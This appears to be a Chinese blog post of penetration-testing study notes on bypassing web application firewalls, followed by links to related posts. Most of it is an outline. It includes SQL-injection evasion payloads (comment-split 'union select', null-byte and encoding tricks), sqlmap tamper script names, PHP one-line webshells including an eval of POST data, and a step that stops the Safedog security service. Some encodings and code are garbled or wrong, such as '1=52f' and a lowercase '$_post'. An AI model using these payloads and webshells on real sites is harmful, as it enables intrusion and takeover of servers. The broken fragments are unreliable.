渗透测试学习 二十八、WAF绕过详解
大纲:
WAF防护原理讲解
目录扫描绕过WAF
手工注入绕过WAF
sqlmap绕过WAF
编写salmap绕过WAF
过WAF一句话编写讲解
菜刀连接绕过WAF
webshell上传绕过WAF
提权绕过WAF
WAF绕过原理详解
知己知彼百战百胜
了解WAF防护原理
查看WAF防护位置
熟悉防护规则
了解防护机制
查看拦截时间阀值
目录扫描绕过WAF
两种方式:
1、修改客户端IP
2、减慢扫描速度
3、通过代理欺骗WAF
手工注入绕过WAF
搭建测试环境
了解绕过原理
熟悉常见绕过构造语句
构造绕过测试环境
搭建环境
利用mysql客户端
配置注入源码
注入绕过方法
1、大小写变种
2、SQL注释
3、URL编码
4、空字节
5、嵌套、剥离
6、非标准入口点
7、避开自定义过滤器
使用注释
union select 1,2,3 from admin
注释完
/**/union/**/select/**/1,2,3 from admin
/**/un/**/io/**/n/**/sel/**/ec/**/t/**/ 1,2,3 from admin
第二种注释
/*!and*/ 1=2
URL编码
正常编码
‘为%27
1=52f *=%2a %=%25
/**/=%25 2f%25 2a*1
空字节
一些过滤器处理输入时,碰到拿到空字节就会停止处理。
如:
id=1%00and1=2
嵌套剥离
一些过滤器将用户的输入进行剥离敏感函数
应对方法:
seleselectect
剥离后
select
总结编写绕过语句
利用注释
/*^abc^*/
包含关键字
/*!/*!/*!union*/
变换提交方式
get->post方式或cookie
sqlmap tamper利用
symboliclogical.py
space2mssqlhash.py
appendnullbyte.py
利用修改tamper绕过waf
尝试编写过waf一句话
思路:
利用可变变量
$a=b $b=c $$a=c
利用函数
利用判断语句
利用编码
<?php
@eval($_POST[x]);
?>
会拦截eval函数
<?php
@$_GET[a]($_post[x]);
?>
a:动态的传参,传eval函数或assert等函数
突破waf拦截连接菜刀
用最新版的菜刀
中国蚁剑
过狗菜刀+中转脚本
上传过waf
上传突破禁止上传PHP脚本
1、文件包含
2、双文件上传突破限制
3、修改上传参数
提权过waf
通过程序读密码
利用waf绕过神器
利用exp读hash
将用户添加到远程桌面组,并给目录降权
用第三方软件提权
system把安全狗服务停止,重启服务器
渗透测试学习 二十八、WAF绕过详解的更多相关文章
- 渗透测试学习 二十九、kali安装,信息搜集,服务器扫描
kali安装,信息搜集,服务器扫描 kali介绍 Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统.由Offensive Security Ltd维护和资助.最先由 ...
- 渗透测试学习 十七、 XSS跨站脚本漏洞详解
一般用途:拿cookie进后台,将后台地址一起发送过来 特点:挖掘困难,绕过困难 大纲: XSS漏洞基础讲解 XSS漏洞发掘与绕过 XSS漏洞的综合利用 XSS漏洞基础讲解 XSS介绍: 跨站脚 ...
- 渗透测试学习 二十、 其他漏洞汇总之PHP相关漏洞
大纲: PHP相关漏洞 JSP相关漏洞 其他漏洞汇总 PHP相关漏洞 文件包含漏洞 php://input等伪协议利用 代码执行漏洞 变量覆盖漏洞 文件包含漏洞 程序开发人员一般会把重复使用的函数写到 ...
- 渗透测试学习 二十二、getshell总结
大纲 管理员权限拿shell 普通权限拿shell 常见cms拿shell 进后台主要是可以对网站前台的内容,样式等做操作,要改脚本的内容的权限只有在webshell的权限下才可以(某些情况除外) ...
- 【原创】go语言学习(十八)反射详解
目录 变量介绍 反射介绍 结构体反射 反射总结以及应用场景 变量介绍 1.变量的内在机制 A. 类型信息,这部分是元信息,是预先定义好的B. 值类型,这部分是程序运行过程中,动态改变的 var arr ...
- Java开发学习(二十八)----拦截器(Interceptor)详细解析
一.拦截器概念 讲解拦截器的概念之前,我们先看一张图: (1)浏览器发送一个请求会先到Tomcat的web服务器 (2)Tomcat服务器接收到请求以后,会去判断请求的是静态资源还是动态资源 (3)如 ...
- 渗透测试学习 二十一、 JSP相关漏洞
大纲 ST2漏洞 (Struts2) 反序列漏洞 网站容器,中间键 其他漏洞 Struts2漏洞 简介: Struts2是一个基于MVC设计模式的Web应用框架,它本质上相 ...
- Python学习二十八周(vue.js)
一.指令 1.一个例子简单实用vue: 下载vue.js(这里实用1.0.21版本) 编写html代码: <!DOCTYPE html> <html lang="en&qu ...
- 渗透测试学习 二、Windows基础
系统目录 服务 端口 注册表 黑客常用DOS命令(在拿到shell时会用到) 一. 系统目录 Windows目录 系统的安装目录 System32àconfigàSAM文件 是用户密码的 ...
随机推荐
- 036.[转] JNDI 学习
使用外置服务器(如tomcat)时,如果一个服务器启动多个项目,可以使用JNDI配置数据源,这样每个项目都可以获取到Tomcat 配置的 JNDI的数据源. 在学习 jsp 的时候,作用域对象 pag ...
- 如何在mac版本的python里安装pip
mac里面python自带easy_install,在终端里面执行sudo easy_install pip.运行完可以用pip help测试一下是否安装成功,成功安装后,直接pip install ...
- axel 多线程下载工具
yum install axel-2.4-9.el7.x86_64 -y # 选项 --max-speed=x , -s x 最高速度x --num-connections=x , -n x 连接数x ...
- PyCharm将选中的内容加上引号
正常情况下,选中一段内容,再按引号,内容会被替换为引号 想要将选中的内容不被替换为引号,而在内容的两端加上引号,只需设置一下即可 File --> Settings --> Edi ...
- MYSQL的基本使用,以及错误代码的意思
创建数据库: 要创建声明类型的数据库,输入CREATE DATABASE 数据库名称; 注意:命令不必以大写字母输入. 注意:所有MySQL命令必须以";"结束.如果忘记了输入分号 ...
- IDEA 第三方jar包 使用
1,加入lib包中,在pom中添加 <dependency> <groupId>com.sss</groupId> <artifactId>包名< ...
- 手工挖掘web常见漏洞时的一些经验总结
一.前提: 漏洞挖掘原则 所有变量 所有头 cookie中的变量 逐个变量删除 漏洞的本质 数据与指令的混淆 对用户输入信息过滤不严判断失误,误将数据当指令 二.经典漏洞: 1.身份认证 常用弱口令/ ...
- go语言设计模式之observer
observer.go package observer import ( "fmt" ) type Observer interface { Notify(string) } t ...
- day(66)作业
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Python网络编程基础 struct模块 解决黏包问题 FTP
struct模块 解决黏包问题 FTP